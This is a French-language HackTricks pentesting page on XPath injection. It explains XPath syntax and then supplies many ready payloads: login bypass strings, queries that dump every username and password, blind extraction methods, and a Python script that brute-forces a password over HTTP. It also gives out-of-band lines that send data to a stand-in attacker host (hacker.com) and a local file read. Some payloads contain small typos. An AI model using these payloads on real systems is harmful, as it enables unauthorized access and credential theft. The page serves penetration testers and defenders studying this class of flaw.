hacktricks/pentesting-web/xpath-injection.md

14 KiB

Injection XPATH

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Aperçus de Hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel

Dernières Annonces
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Syntaxe de Base

Une technique d'attaque connue sous le nom d'injection XPath est utilisée pour tirer parti des applications qui forment des requêtes XPath (XML Path Language) basées sur l'entrée de l'utilisateur pour interroger ou naviguer dans des documents XML.

Nœuds Décrits

Les expressions sont utilisées pour sélectionner divers nœuds dans un document XML. Ces expressions et leurs descriptions sont résumées ci-dessous :

  • nodename : Tous les nœuds avec le nom "nodename" sont sélectionnés.
  • / : La sélection est faite à partir du nœud racine.
  • // : Les nœuds correspondant à la sélection à partir du nœud actuel sont sélectionnés, quelle que soit leur position dans le document.
  • . : Le nœud actuel est sélectionné.
  • .. : Le parent du nœud actuel est sélectionné.
  • @ : Les attributs sont sélectionnés.

Exemples XPath

Des exemples d'expressions de chemin et leurs résultats incluent :

  • bookstore : Tous les nœuds nommés "bookstore" sont sélectionnés.
  • /bookstore : L'élément racine bookstore est sélectionné. Il est noté qu'un chemin absolu vers un élément est représenté par un chemin commençant par une barre oblique (/).
  • bookstore/book : Tous les éléments book qui sont des enfants de bookstore sont sélectionnés.
  • //book : Tous les éléments book dans le document sont sélectionnés, indépendamment de leur emplacement.
  • bookstore//book : Tous les éléments book qui sont des descendants de l'élément bookstore sont sélectionnés, peu importe leur position sous l'élément bookstore.
  • //@lang : Tous les attributs nommés lang sont sélectionnés.

Utilisation des Prédicats

Les prédicats sont utilisés pour affiner les sélections :

  • /bookstore/book[1] : Le premier élément book enfant de l'élément bookstore est sélectionné. Une solution de contournement pour les versions IE 5 à 9, qui indexent le premier nœud comme [0], consiste à définir le SelectionLanguage sur XPath via JavaScript.
  • /bookstore/book[last()] : Le dernier élément book enfant de l'élément bookstore est sélectionné.
  • /bookstore/book[last()-1] : L'avant-dernier élément book enfant de l'élément bookstore est sélectionné.
  • /bookstore/book[position()<3] : Les deux premiers éléments book enfants de l'élément bookstore sont sélectionnés.
  • //title[@lang] : Tous les éléments title avec un attribut lang sont sélectionnés.
  • //title[@lang='en'] : Tous les éléments title avec une valeur d'attribut "lang" de "en" sont sélectionnés.
  • /bookstore/book[price>35.00] : Tous les éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés.
  • /bookstore/book[price>35.00]/title : Tous les éléments title des éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés.

Gestion des Nœuds Inconnus

Des jokers sont utilisés pour faire correspondre des nœuds inconnus :

  • * : Correspond à tout nœud élément.
  • @* : Correspond à tout nœud attribut.
  • node() : Correspond à tout nœud de tout type.

D'autres exemples incluent :

  • /bookstore/* : Sélectionne tous les nœuds d'élément enfant de l'élément bookstore.
  • //* : Sélectionne tous les éléments dans le document.
  • //title[@*] : Sélectionne tous les éléments title avec au moins un attribut de tout type.

Exemple

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Accéder à l'information

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifier et voler le schéma

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Contournement d'authentification

Exemple de requêtes :

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OU contournement dans l'utilisateur et le mot de passe (même valeur dans les deux)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abus de l'injection nulle

Username: ' or 1]%00

Double OR dans le nom d'utilisateur ou dans le mot de passe (est valide avec seulement 1 champ vulnérable)

IMPORTANT : Remarquez que le "et" est la première opération effectuée.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extraction de chaînes

La sortie contient des chaînes et l'utilisateur peut manipuler les valeurs pour rechercher :

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploitation Aveugle

Obtenir la longueur d'une valeur et l'extraire par comparaisons :

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemple Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Lire le fichier

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploitation OOB

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Outil automatique

Références

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Aperçus de hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Actualités de hacking en temps réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel

Dernières annonces
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}